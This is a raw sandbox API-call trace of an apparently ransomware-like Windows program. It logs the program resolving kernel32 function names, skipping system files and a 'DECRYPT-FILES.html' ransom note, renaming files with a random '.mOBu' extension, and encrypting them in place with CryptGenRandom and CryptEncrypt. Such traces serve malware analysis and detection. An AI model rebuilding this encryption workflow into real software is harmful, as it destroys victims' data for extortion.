lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0117.064] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0117.064] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0117.064] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0117.064] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0117.064] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0117.064] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0117.064] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0117.064] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0117.064] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0117.064] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0117.064] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0117.064] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0117.064] lstrlenA (lpString="CREATEFILEW") returned 11 [0117.064] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0117.064] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0117.064] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0117.064] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0117.064] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0117.064] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0117.064] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0117.064] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0117.064] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0117.064] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0117.064] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0117.064] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0117.064] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0117.064] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0117.064] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0117.064] lstrlenA (lpString="CREATEJOBSET") returned 12 [0117.064] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0117.064] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0117.064] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0117.064] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0117.064] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0117.065] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0117.065] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0117.065] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0117.065] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0117.065] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0117.065] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0117.065] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0117.065] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0117.065] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0117.065] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0117.065] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0117.065] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0117.065] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0117.065] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0117.065] lstrlenA (lpString="CREATEPIPE") returned 10 [0117.065] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0117.065] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0117.065] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0117.065] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0117.065] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0117.065] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0117.065] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0117.065] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0117.065] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0117.065] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0117.065] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0117.065] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0117.065] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0117.065] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0117.065] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0117.065] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0117.065] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0117.065] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0117.065] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0117.065] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0117.065] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0117.066] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0117.066] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0117.066] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0117.066] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0117.066] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0117.066] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0117.066] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0117.066] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0117.066] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0117.066] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0117.066] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0117.066] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0117.066] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0117.066] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0117.066] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0117.066] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0117.066] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0117.066] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0117.066] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0117.066] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0117.066] lstrlenA (lpString="CREATETHREAD") returned 12 [0117.066] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0117.066] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0117.066] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0117.066] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0117.066] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0117.066] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0117.066] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0117.066] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0117.066] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0117.066] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0117.066] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0117.066] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0117.066] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0117.066] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0117.066] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0117.067] wsprintfW (in: param_1=0x38be7e4, param_2="%s.%s" | out: param_1="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml.mOBu") returned 49 [0117.067] MoveFileExW (lpExistingFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml.mOBu" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml.mobu"), dwFlags=0x0) returned 1 [0117.067] VirtualFree (lpAddress=0x38c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0117.068] VirtualFree (lpAddress=0x3c60000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0117.068] VirtualFree (lpAddress=0x31c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0117.068] FindNextFileW (in: hFindFile=0x707ab8, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0117.068] lstrcmpiW (lpString1="SetupResources.dll", lpString2="DECRYPT-FILES.html") returned 1 [0117.068] lstrcmpiW (lpString1="SetupResources.dll", lpString2="autorun.inf") returned 1 [0117.068] lstrcmpiW (lpString1="SetupResources.dll", lpString2="boot.ini") returned 1 [0117.068] lstrcmpiW (lpString1="SetupResources.dll", lpString2="desktop.ini") returned 1 [0117.068] lstrcmpiW (lpString1="SetupResources.dll", lpString2="ntuser.dat") returned 1 [0117.068] lstrcmpiW (lpString1="SetupResources.dll", lpString2="iconcache.db") returned 1 [0117.068] lstrcmpiW (lpString1="SetupResources.dll", lpString2="bootsect.bak") returned 1 [0117.068] lstrcmpiW (lpString1="SetupResources.dll", lpString2="ntuser.dat.log") returned 1 [0117.068] lstrcmpiW (lpString1="SetupResources.dll", lpString2="thumbs.db") returned -1 [0117.069] lstrcmpiW (lpString1="SetupResources.dll", lpString2="Bootfont.bin") returned 1 [0117.069] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\") returned 27 [0117.069] lstrlenW (lpString="SetupResources.dll") returned 18 [0117.069] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\1029\\" | out: lpString1="C:\\588bce7c90097ed212\\1029\\") returned="C:\\588bce7c90097ed212\\1029\\" [0117.069] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1029\\", lpString2="SetupResources.dll" | out: lpString1="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned="C:\\588bce7c90097ed212\\1029\\SetupResources.dll" [0117.069] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x31c0000 [0117.069] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f4 [0117.069] GetFileSizeEx (in: hFile=0x5f4, lpFileSize=0x38be7b0 | out: lpFileSize=0x38be7b0*=18264) returned 1 [0117.069] CreateFileMappingW (hFile=0x5f4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x5f8 [0117.069] MapViewOfFile (hFileMappingObject=0x5f8, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x38c0000 [0117.683] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x20, pbBuffer=0x31c0000 | out: pbBuffer=0x31c0000) returned 1 [0117.684] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x8, pbBuffer=0x31c0020 | out: pbBuffer=0x31c0020) returned 1 [0117.684] VirtualAlloc (lpAddress=0x0, dwSize=0x108, flAllocationType=0x3000, flProtect=0x4) returned 0x3c70000 [0117.684] CryptEncrypt (in: hKey=0x68c9e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3c70000*, pdwDataLen=0x38be718*=0x28, dwBufLen=0x100 | out: pbData=0x3c70000*, pdwDataLen=0x38be718*=0x100) returned 1 [0117.684] VirtualAlloc (lpAddress=0x0, dwSize=0x1001, flAllocationType=0x3000, flProtect=0x4) returned 0x3c80000 [0117.685] VirtualFree (lpAddress=0x3c80000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0117.685] UnmapViewOfFile (lpBaseAddress=0x38c0000) returned 1 [0117.685] CloseHandle (hObject=0x5f8) returned 1 [0117.685] SetFilePointerEx (in: hFile=0x5f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.685] WriteFile (in: hFile=0x5f4, lpBuffer=0x3c70000*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x38be738, lpOverlapped=0x0 | out: lpBuffer=0x3c70000*, lpNumberOfBytesWritten=0x38be738*=0x108, lpOverlapped=0x0) returned 1 [0117.686] CloseHandle (hObject=0x0) returned 0 [0117.686] CloseHandle (hObject=0x5f4) returned 1 [0117.687] VirtualFree (lpAddress=0x3c70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0117.687] VirtualFree (lpAddress=0x31c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0117.688] GetTickCount () returned 0x32dd7 [0117.688] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x31c0000 [0117.688] lstrlenW (lpString="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned 62 [0117.688] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x38c0000 [0117.688] VirtualAlloc (lpAddress=0x0, dwSize=0x7e, flAllocationType=0x3000, flProtect=0x4) returned 0x3c70000 [0117.689] lstrlenA (lpString="kernel32.dll") returned 12 [0117.689] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0117.689] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0117.689] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0117.689] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0117.689] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0117.689] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0117.689] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0117.689] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0117.689] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0117.689] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0117.689] lstrlenA (lpString="ADDATOMA") returned 8 [0117.689] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0117.689] lstrlenA (lpString="ADDATOMW") returned 8 [0117.689] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0117.689] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0117.689] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0117.689] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0117.689] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0117.689] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0117.689] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0117.689] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0117.689] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0117.689] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0117.689] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0117.689] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0117.689] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0117.690] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0117.690] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0117.690] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0117.690] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0117.690] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0117.690] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0117.690] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0117.690] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0117.690] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0117.690] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0117.690] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0117.690] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0117.690] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0117.690] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0117.690] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0117.690] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0117.690] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0117.690] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0117.690] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0117.690] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0117.690] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0117.690] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0117.690] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0117.690] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0117.690] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0117.690] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0117.690] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0117.690] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0117.690] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0117.690] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0117.690] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0117.690] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0117.690] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0117.690] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0117.690] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0117.690] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0117.690] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0117.691] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0117.691] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0117.691] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0117.691] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0117.691] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0117.691] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0117.691] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0117.691] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0117.691] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0117.691] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0117.691] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0117.691] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0117.691] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0117.691] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0117.691] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0117.691] lstrlenA (lpString="BACKUPREAD") returned 10 [0117.691] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0117.691] lstrlenA (lpString="BACKUPSEEK") returned 10 [0117.691] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0117.691] lstrlenA (lpString="BACKUPWRITE") returned 11 [0117.691] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0117.691] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0117.691] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0117.691] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 